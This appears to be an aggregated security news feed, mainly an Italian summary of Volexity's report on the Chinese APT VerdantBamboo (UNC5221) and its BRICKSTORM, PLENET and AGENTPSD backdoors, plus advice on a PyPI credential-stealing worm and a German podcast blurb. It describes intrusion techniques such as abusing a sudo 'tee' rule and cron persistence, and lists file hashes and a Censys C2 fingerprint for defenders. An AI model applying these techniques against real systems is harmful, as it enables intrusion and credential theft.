Chi ha installato versioni compromesse deve rimuovere i pacchetti, ricostruire gli environment e ruotare immediatamente tutte le credenziali accessibili: token GitHub/GitHub Actions, chiavi PyPI/npm/RubyGems, credenziali AWS/GCP/Azure/Kubernetes, token CircleCI e HashiCorp Vault, chiavi SSH e Docker credentials. A livello di detection statica, qualsiasi wheel PyPI contenente un file .pth eseguibile con download di runtime remoti e subprocess execution va trattato come alto rischio. A runtime, monitorare la catena python -> bun -> _index.js e connessioni verso github.com/oven-sh/bun/releases/download/. Sul fronte GitHub, ricercare negli organization log i marker Hades sopra elencati.

Fonte principale: Socket Research Team — socket.dev/blog/shai-hulud-descends-to-hades-miasma-pypi-wave

Shai-Hulud Descends to Hades: Miasma Worm Campaign Spreads w...

Socket found 37 malicious PyPI wheels that abuse Python startup hooks to launch a Bun-powered credential stealer tied to Mini Shai-Hulud/Miasma.

^{Socket Research Team (Socket)}

(in)sicurezza digitale

2026-06-07 10:34:43

VerdantBamboo (UNC5221): il gruppo APT cinese che resta invisibile per 18 mesi con tre backdoor inedite

Per diciotto mesi, il gruppo APT cinese VerdantBamboo ha vissuto nell’ombra delle reti di una grande organizzazione statunitense e del suo managed service provider, dispiegando tre famiglie di backdoor su appliance di rete prive di copertura EDR. La ricostruzione completa dell’incidente, pubblicata il 4 giugno 2026 dai ricercatori di Volexity, rivela un threat actor di straordinaria sofisticazione operativa, capace di reinfettare la rete vittima pochi giorni dopo la remediation.

Chi è VerdantBamboo (UNC5221 / WARP PANDA)

VerdantBamboo è il nome interno adottato da Volexity per il gruppo noto anche come UNC5221 (Mandiant) e WARP PANDA. Si tratta di un attore state-sponsored di origine cinese attivo almeno dal 2023, specializzato nello sfruttamento di zero-day su dispositivi di rete perimetrali: Ivanti Connect Secure, F5 BIG-IP, VMware vSphere e, in questo caso, appliance Linux proprietarie. Google Cloud Threat Intelligence e CISA hanno documentato più volte le sue campagne, con un filo conduttore costante: il deployment di BRICKSTORM su sistemi che non supportano agenti EDR, rendendo il rilevamento quasi impossibile con gli strumenti tradizionali.

Il vettore iniziale: Egnyte Storage Sync e una privilege escalation trascurata

In settembre 2025, Volexity viene coinvolta in un incident response dopo che un analista nota traffico anomalo proveniente da una macchina virtuale Linux con Egnyte Storage Sync. L’appliance, invece di connettersi ai server Egnyte, beacona verso un dominio controllato dall’attaccante nascosto dietro IP Cloudflare, e interroga 8.8.8.8 tramite DNS over HTTPS per evitare lookup DNS tracciabili.

L’ingresso iniziale è avvenuto attraverso credenziali SSH compromesse per l’account egnyteservice, il cui profilo sudo conteneva una misconfiguration critica: il comando tee era eseguibile come root, consentendo la scrittura arbitraria di file su tutto il filesystem. VerdantBamboo ha sfruttato questa escalation per scrivere un entry cron in /etc/cron.d/ssync, eseguire il backdoor BRICKSTORM posizionato in /usr/sbin/, e poi rimuovere il file cron per minimizzare le tracce. Il compromesso risaliva ad almeno 18 mesi prima della scoperta. Egnyte ha poi corretto la vulnerability nella versione Storage Sync v13.13.

La catena d’attacco: dall’MSP alla Microsoft 365

Una volta sul sistema Storage Sync, VerdantBamboo ha sfruttato le capacità proxy di BRICKSTORM per accedere all’ambiente Microsoft 365 della vittima attraverso gli IP del VPN SSL aziendale, bypassando così le Conditional Access Policy che avrebbero bloccato accessi da IP sconosciuti. L’obiettivo era mimetizzarsi nel traffico legittimo.

Parallelamente, l’MSP che gestiva il sistema era stato anch’esso compromesso. Volexity ha trovato sul firewall pfSense dell’MSP una variante FreeBSD di BRICKSTORM, offuscata con gobfuscate, con backdating della compromissione di almeno 18 mesi. Con ogni probabilità, l’attaccante si era introdotto nell’organizzazione vittima passando prima per l’MSP, rubando credenziali e dettagli infrastrutturali.

Il ritorno dopo la remediation: persistenza da manuale

Pochi giorni dopo che Volexity aveva completato le attività di contenimento — isolando il sistema Storage Sync e portando offline il VPN SSL — VerdantBamboo è tornato. Il firewall della vittima, ora esposto direttamente su Internet dopo la dismissione del vecchio VPN, era accessibile via interfaccia amministrativa web. Usando credenziali amministrative rubate (senza MFA), l’attaccante ha riconfigurato un VPN SSL sul firewall, si è riconnesso alla rete interna e ha deployato PLENET su un NAS Synology. Un secondo ciclo di remediation si è reso necessario.

Le tre backdoor: BRICKSTORM, PLENET e AGENTPSD

BRICKSTORM è il malware principale del gruppo, con varianti scritte in Golang (le più vecchie) e Rust. Il design è modulare: il namespace wssoft contiene protocol handler, task dispatcher e task extensions che il developer può personalizzare per ogni target. Nelle varianti analizzate, i task extension attivi sono tre: command (shell remota), socks (proxy SOCKS5) e web (accesso al filesystem). Il C2 usa WebSocket su HTTPS, con risoluzione DNS over HTTPS verso 8.8.8.8 per evitare query tracciabili.

PLENET (chiamato GRIMBOLT da Google Cloud) è un backdoor cross-platform scritto in .NET Core e compilato con Native AOT — una funzionalità introdotta in .NET 7 nel novembre 2022 che produce un binario nativo standalone con il runtime embedded. La scelta di Native AOT è deliberata: l’immaturity degli strumenti di analisi per questo formato complica notevolmente il reverse engineering. PLENET usa anch’esso WebSocket per il C2 e la libreria Nerdbank.Streams per multiplexing, richiamando lo stesso schema architetturale di BRICKSTORM. Capacità: shell interattiva, esecuzione remota di comandi, manipolazione file, switching del server C2.

AGENTPSD è una semplice reverse shell Python compilata con PyInstaller, configurata per connettersi a un dominio C2 diverso da quello usato da BRICKSTORM. Il suo ruolo è esclusivamente di fallback: se BRICKSTORM venisse rimosso o smettesse di funzionare, AGENTPSD garantirebbe un percorso di rientro alternativo. Significativamente, durante l’intero periodo dell’intrusione AGENTPSD non è mai stato utilizzato attivamente — BRICKSTORM era sempre disponibile.

L’infrastruttura C2 e la risposta alle investigazioni

Volexity ha sviluppato una fingerprint Censys per identificare i server C2 di BRICKSTORM: una risposta HTTP di lunghezza zero (Golang HTTP server), SSH su FreeBSD, certificato Cloudflare, massimo quattro servizi esposti. Questa firma ha consentito di mappare diversi server C2. Tuttavia, tra il 18 e il 23 settembre 2025, tutti i server che corrispondevano al pattern hanno disattivato i servizi sulla porta 443. Il 24 settembre Google ha pubblicato un nuovo report su BRICKSTORM. Volexity valuta con bassa confidenza che VerdantBamboo fosse consapevole di essere sotto investigazione e abbia volontariamente smantellato l’infrastruttura esposta.

Due righe per i difensori

Il caso VerdantBamboo mette in luce vulnerabilità sistemiche difficili da correggere con gli strumenti tradizionali. Le raccomandazioni chiave emerse dall’analisi di Volexity sono le seguenti: applicare MFA su tutti gli accessi amministrativi, inclusi VPN e interfacce di gestione dei firewall; monitorare il traffico verso DNS over HTTPS su endpoint non previsti; estendere il perimetro di monitoraggio alle appliance di rete (NAS, firewall, appliance cloud sync) che non supportano EDR, eventualmente tramite network security monitoring; verificare le configurazioni sudo su tutte le appliance Linux gestite; assicurarsi che i fornitori MSP applichino gli stessi standard di sicurezza dell’organizzazione committente.

Indicatori di Compromissione (IoC)

## AGENTPSD
# Nome file: egnyte_host_monitor_client
MD5:    98ee964edeb5a988c3bba8ea1e57fe0e
SHA1:   e952c18272efa1c3d73d0a5381bcf443c02743fe
SHA256: ee41e06ed96182ce80cd4544a6abd5d7719c4a5c0e5ddb266a83842d39b99b0a
## BRICKSTORM (Egnyte Storage Sync – Linux)
# Nome file: luserput
MD5:    58d4eccc982c9e9b1b98aa62c514e53a
SHA1:   f4d77958a12a0778283d3e679b24b18f82e332c4
SHA256: 40d264cf9c73923932c3dfd52d20f46ff602be3fea8dc6ecc71aca46e6067bf5
## BRICKSTORM (pfSense – FreeBSD, gobfuscated)
# Nome file: blacklist
MD5:    84ad78b2bab946c3677fdc28ebd8a774
SHA1:   681075027553546c119ec447eb8df84633dcffce
SHA256: f70abe93112637d3ec2f6c5e058ccac0307ebf63e496f38588cbfc17a8f8a264
## PLENET (aka GRIMBOLT, .NET Native AOT)
# Nome file: ovs-dbctl
MD5:    95dc2289427ed29b8b996d0e3d1b78cb
SHA1:   f8d93c1769e877aae7e7d5c289a467b5ae371c7a
SHA256: eb141a43958802727a6c813452450c10b92704bea4474ee5fd87c0a1be326e2e
## Censys fingerprint per C2 BRICKSTORM
host.service_count<=4 AND host.services:(banner_hash_sha256:"e28a96f983b8605decd2ac1db16ebad5fa741a6aa4e585a38ade0e5ad7d6cec0" AND port=443) AND host.services.cert.parsed.issuer.organization="CloudFlare, Inc." AND host.services:(port=22 AND software.vendor:openbsd)
## IoC completi (Volexity GitHub)
https://github.com/volexity/threat-intel/tree/main/2026/2026-06-04%20VerdantBamboo

netzpolitik.org

2026-06-06 07:46:29

Na, darfst du denn schon auf TikTok? Alle reden über Social-Media-Verbote für Jugendliche. Wir reden lieber über die Alterskontrollen, die zwingend notwendig wären, um solche Verbote durchzusetzen.

Warum würden sie das Internet umkrempeln und warum läuft die Debatte jetzt so heiß? Die neuste Podcast-Folge Off/On mit @ckoever, @roofjoke und @sebmeineck.

netzpolitik.org/podcast/na-dar…

Na, darfst du denn schon auf TikTok?

^{Chris Köver (netzpolitik.org)}